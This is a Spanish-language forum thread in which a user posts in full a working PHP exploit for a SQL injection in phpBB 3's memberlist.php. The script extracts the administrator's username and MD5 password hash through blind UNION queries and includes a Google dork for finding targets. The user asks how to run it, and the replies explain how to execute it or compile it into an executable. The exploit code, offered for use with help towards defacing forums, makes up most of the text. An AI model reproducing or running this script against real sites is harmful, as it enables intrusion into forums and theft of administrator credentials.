Resultados 1 al 5 de 5

¿Cómo usar este exploit?

  1. #1 ¿Cómo usar este exploit? 
    Iniciado
    Fecha de ingreso
    May 2009
    Mensajes
    1
    Descargas
    0
    Uploads
    0
    Buenas a todos, hace poco me encontré este exploit para phpbb3

    #!/usr/bin/php -q -d short_open_tag=on
    <?
    echo "PhpBB 3 memberlist.php/'ip' argument SQL injection / admin credentials disclosure\n";
    echo "by rgod [email protected]\n";
    echo "site: http://retrogod.altervista.org\n";
    echo "dork, version specific: \"Powered by phpBB * 2002, 2006 phpBB Group\"\n\n";

    /*
    works regardless of php.ini settings
    you need a global moderator account with "simple moderator" role
    */

    if ($argc<5) {
    echo "Usage: php ".$argv[0]." host path user pass OPTIONS\n";
    echo "host: target server (ip/hostname)\n";
    echo "path: path to phpbb3\n";
    echo "user/pass: u need a valid user account with global moderator rights\n";
    echo "Options:\n";
    echo " -T[prefix] specify a table prefix different from default (phpbb_)\n";
    echo " -p[port]: specify a port other than 80\n";
    echo " -P[iport]: specify a proxy\n";
    echo " -u[number]: specify a user id other than 2 (admin)\n";
    echo " -x: disclose table prefix through error messages\n";
    echo "Example:\r\n";
    echo "php ".$argv[0]." localhost /phpbb3/ rgod suntzu-u-u\r\n";
    echo "php ".$argv[0]." localhost /phpbb3/ rgod suntzu-u-u -TPHPBB_ -u7\n";
    die;
    }

    error_reporting(0);
    ini_set("max_execution_time",0);
    ini_set("default_socket_timeout",5);

    function quick_dump($string)
    {
    $result='';$exa='';$cont=0;
    for ($i=0; $i<=strlen($string)-1; $i++)
    {
    if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))
    {$result.=" .";}
    else
    {$result.=" ".$string[$i];}
    if (strlen(dechex(ord($string[$i])))==2)
    {$exa.=" ".dechex(ord($string[$i]));}
    else
    {$exa.=" 0".dechex(ord($string[$i]));}
    $cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}
    }
    return $exa."\r\n".$result;
    }
    $proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b) ';
    function sendpacketii($packet)
    {
    global $proxy, $host, $port, $html, $proxy_regex;
    if ($proxy=='') {
    $ock=fsockopen(gethostbyname($host),$port);
    if (!$ock) {
    echo 'No response from '.$host.':'.$port; die;
    }
    }
    else {
    $c = preg_match($proxy_regex,$proxy);
    if (!$c) {
    echo 'Not a valid proxy...';die;
    }
    $parts=explode(':',$proxy);
    echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";
    $ock=fsockopen($parts[0],$parts[1]);
    if (!$ock) {
    echo 'No response from proxy...';die;
    }
    }
    fputs($ock,$packet);
    if ($proxy=='') {
    $html='';
    while (!feof($ock)) {
    $html.=fgets($ock);
    }
    }
    else {
    $html='';
    while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$h tml))) {
    $html.=fread($ock,1);
    }
    }
    fclose($ock);
    #debug
    #echo "\r\n".$html;
    }

    $host=$argv[1];
    $path=$argv[2];
    $user=$argv[3];
    $pass=$argv[4];
    $port=80;
    $prefix="PHPBB_";
    $user_id="2";//admin
    $discl=0;
    $proxy="";
    for ($i=3; $i<=$argc-1; $i++){
    $temp=$argv[$i][0].$argv[$i][1];
    if ($temp=="-p")
    {
    $port=str_replace("-p","",$argv[$i]);
    }
    if ($temp=="-P")
    {
    $proxy=str_replace("-P","",$argv[$i]);
    }
    if ($temp=="-T")
    {
    $prefix=str_replace("-T","",$argv[$i]);
    }
    if ($temp=="-u")
    {
    $user_id=str_replace("-u","",$argv[$i]);
    }
    if ($temp=="-x")
    {
    $discl=1;
    }
    }

    if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}
    if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}

    $data="username=".urlencode($user);
    $data.="&password=".urlencode($pass);
    $data.="&redirect=index.php";
    $data.="&login=Login";
    $packet="POST ".$p."ucp.php?mode=login HTTP/1.0\r\n";
    $packet.="Referer: http://$host$path/ucp.php?mode=login\r\n";
    $packet.="Content-Type: application/x-www-form-urlencoded\r\n";
    $packet.="Accept-Encoding: text/plain\r\n";
    $packet.="Host: ".$host."\r\n";
    $packet.="Content-Length: ".strlen($data)."\r\n";
    $packet.="Connection: Close\r\n\r\n";
    $packet.=$data;
    sendpacketii($packet);
    $cookie="";
    $temp=explode("Set-Cookie: ",$html);
    for ($i=1; $i<=count($temp)-1; $i++)
    {
    $temp2=explode(" ",$temp[$i]);
    $cookie.=" ".$temp2[0];
    }
    if (eregi("_u=1;",$cookie))
    {
    //echo $html."\n";//debug
    //die("Unable to login...");
    }
    echo "cookie -> ".$cookie."\r\n";
    if ($discl)
    {
    $sql="'suntzuuuuu";
    echo "sql -> ".$sql."\n";
    $sql=urlencode(strtoupper($sql));
    $data="username=";
    $data.="&icq=";
    $data.="&email=";
    $data.="&aim=";
    $data.="&joined_select=lt";
    $data.="&joined=";
    $data.="&yahoo=";
    $data.="&active_select=lt";
    $data.="&active=";
    $data.="&msn=";
    $data.="&count_select=eq";
    $data.="&count=";
    $data.="&jabber=";
    $data.="&sk=c";
    $data.="&sd=a";
    $data.="&ip=".$sql;
    $data.="&search_group_id=0";
    $data.="&submit=Search";
    $packet="POST ".$p."memberlist.php?joined_select=lt&active_selec t=lt&count_select=eq&sk=c&sd=a&ip=%5C%27&form=post &field=username_list&mode=searchuser&form=post HTTP/1.0\r\n";
    $packet.="Content-Type: application/x-www-form-urlencoded\r\n";
    $packet.="Host: ".$host."\r\n";
    $packet.="Content-Length: ".strlen($data)."\r\n";
    $packet.="Connection: Close\r\n";
    $packet.="Cookie: ".$cookie." \r\n\r\n";
    $packet.=$data;
    sendpacketii($packet);
    if (strstr($html,"You have an error in your SQL syntax"))
    {
    $temp=explode("posts",$html);
    $temp2=explode(" ",$temp[0]);
    $prefix=strtoupper($temp2[count($temp2)-1]);
    echo "prefix -> ".$prefix."\n";sleep(2);
    }
    }

    $md5s[0]=0;//null
    $md5s=array_merge($md5s,range(48,57)); //numbers
    $md5s=array_merge($md5s,range(97,102));//a-f letters
    //print_r(array_values($md5s));
    $j=1;$password="";
    while (!strstr($password,chr(0)))
    {
    for ($i=0; $i<=255; $i++)
    {
    if (in_array($i,$md5s))
    {
    $sql="1.1.1.999') UNION SELECT IF ((ASCII(SUBSTRING(USER_PASSWORD,".$j.",1))=$i),$us er_id,-1) FROM ".$prefix."USERS WHERE USER_ID=$user_id UNION SELECT POSTER_ID FROM ".$prefix."POSTS WHERE POSTER_IP IN ('1.1.1.999";
    echo "sql -> ".$sql."\n";
    $sql=urlencode(strtoupper($sql));
    $data="username=";
    $data.="&icq=";
    $data.="&email=";
    $data.="&aim=";
    $data.="&joined_select=lt";
    $data.="&joined=";
    $data.="&yahoo=";
    $data.="&active_select=lt";
    $data.="&active=";
    $data.="&msn=";
    $data.="&count_select=eq";
    $data.="&count=";
    $data.="&jabber=";
    $data.="&sk=c";
    $data.="&sd=a";
    $data.="&ip=".$sql;
    $data.="&search_group_id=0";
    $data.="&submit=Search";
    $packet="POST ".$p."memberlist.php?joined_select=lt&active_selec t=lt&count_select=eq&sk=c&sd=a&ip=%5C%27&form=post &field=username_list&mode=searchuser&form=post HTTP/1.0\r\n";
    $packet.="Content-Type: application/x-www-form-urlencoded\r\n";
    $packet.="Host: ".$host."\r\n";
    $packet.="Content-Length: ".strlen($data)."\r\n";
    $packet.="Connection: Close\r\n";
    $packet.="Cookie: ".$cookie." \r\n\r\n";
    $packet.=$data;
    sendpacketii($packet);
    if (!strstr($html,"No members found for this search criteria")) {$password.=chr($i);echo "password -> ".$password."[???]\r\n";sleep(2);break;}
    }
    if ($i==255) {die("Exploit failed...");}
    }
    $j++;
    }

    $j=1;$admin="";
    while (!strstr($admin,chr(0)))
    {
    for ($i=0; $i<=255; $i++)
    {
    $sql="1.1.1.999') UNION SELECT IF ((ASCII(SUBSTRING(USERNAME,".$j.",1))=$i),$user_id ,-1) FROM ".$prefix."USERS WHERE USER_ID=$user_id UNION SELECT POSTER_ID FROM ".$prefix."POSTS WHERE POSTER_IP IN ('1.1.1.999";
    echo "sql -> ".$sql."\n";
    $sql=urlencode(strtoupper($sql));
    $data="username=";
    $data.="&icq=";
    $data.="&email=";
    $data.="&aim=";
    $data.="&joined_select=lt";
    $data.="&joined=";
    $data.="&yahoo=";
    $data.="&active_select=lt";
    $data.="&active=";
    $data.="&msn=";
    $data.="&count_select=eq";
    $data.="&count=";
    $data.="&jabber=";
    $data.="&sk=c";
    $data.="&sd=a";
    $data.="&ip=".$sql;
    $data.="&search_group_id=0";
    $data.="&submit=Search";
    $packet="POST ".$p."memberlist.php?joined_select=lt&active_selec t=lt&count_select=eq&sk=c&sd=a&ip=%5C%27&form=post &field=username_list&mode=searchuser&form=post HTTP/1.0\r\n";
    $packet.="Content-Type: application/x-www-form-urlencoded\r\n";
    $packet.="Host: ".$host."\r\n";
    $packet.="Content-Length: ".strlen($data)."\r\n";
    $packet.="Connection: Close\r\n";
    $packet.="Cookie: ".$cookie." \r\n\r\n";
    $packet.=$data;
    sendpacketii($packet);
    if (!strstr($html,"No members found for this search criteria")) {$admin.=chr($i);echo "password -> ".$admin."[???]\r\n";sleep(2);break;}
    }
    if ($i==255) {die("Exploit failed...");}
    $j++;
    }
    echo "--------------------------------------------------------------------\r\n";
    echo "admin -> ".$admin."\r\n";
    echo "password (md5) -> ".$password."\r\n";
    echo "--------------------------------------------------------------------\r\n";

    function is_hash($hash)
    {
    if (ereg("^[a-f0-9]{32}",trim($hash))) {return true;}
    else {return false;}
    }

    if (is_hash($password)) {echo "Exploit succeeded...";}
    else {echo "Exploit failed...";}
    ?>

    # milw0rm.com [2006-07-13]

    He conseguido compilarlo y ejecutarlo, pero no entiendo bien la sintaxis de la ejecución, así como algunos términos (table? prefix?). Si alguien me pudiese explicarlo, así como ponerme un sencillo ejemplo se lo agradecería...
    (Creé un foro gratuito de foroactivo para probarlo pero no consigo defacearme.)
    Citar  
     

  2. #2  
    Moderador Global
    Fecha de ingreso
    Aug 2005
    Mensajes
    6.279
    Descargas
    7
    Uploads
    0
    Debería bastar con

    Código:
    sh nombredelscript argumentos
    PD: No sé a qué te refieres con que has conseguido compilarlo

    Salu2

    . . . . . . . . . . . . . . . . . . . .
    [[ NORMAS DEL FORO ]]
    . . . . . . . . . . . . . . . . . . . .
    __________
    Citar  
     

  3. #3  
    Iniciado
    Fecha de ingreso
    Jun 2009
    Mensajes
    7
    Descargas
    0
    Uploads
    0
    Bajate el bamcompile que es el interprete de PHP , desde ahi ya puedes compilarlo desde la consola de MSDOS.

    bamcompile exploit.php exploit.exe,creo que era así la linea de comando.

    PHAMTOM
    Citar  
     

  4. #4  
    Avanzado
    Fecha de ingreso
    Sep 2006
    Ubicación
    online
    Mensajes
    789
    Descargas
    5
    Uploads
    0
    es mai delicado comiplar un exploit en php pero se puede de todas maneras:

    http://www.blogdelhacker.com/2009/01/02/explotando-exploit-php/
    Citar  
     

  5. #5  
    Moderador Global
    Fecha de ingreso
    Aug 2005
    Mensajes
    6.279
    Descargas
    7
    Uploads
    0
    Pero vamos a ver, qué sentido tiene compilar cuando se puede interpretar. No veo el fin.

    Salu2

    . . . . . . . . . . . . . . . . . . . .
    [[ NORMAS DEL FORO ]]
    . . . . . . . . . . . . . . . . . . . .
    __________
    Citar  
     

Temas similares

  1. ¿Qué es y cómo funciona un Exploit?
    Por LUK en el foro NOTICIAS
    Respuestas: 1
    Último mensaje: 27-01-2017, 19:26
  2. Como puedo Usar mi Motorola V3m Como Modem Gratis
    Por Junior352 en el foro REDES Y TECNOLOGIAS WIRELESS
    Respuestas: 1
    Último mensaje: 03-05-2009, 23:37
  3. Respuestas: 2
    Último mensaje: 10-09-2002, 22:31
  4. como usar una cuenta host de arnet adsl como proxy
    Por darthMenem en el foro INGENIERIA INVERSA
    Respuestas: 1
    Último mensaje: 14-06-2002, 03:30
  5. Que alguien me ayude con este exploit
    Por cbr600f6 en el foro INTRUSION
    Respuestas: 9
    Último mensaje: 09-03-2002, 14:34

Marcadores

Marcadores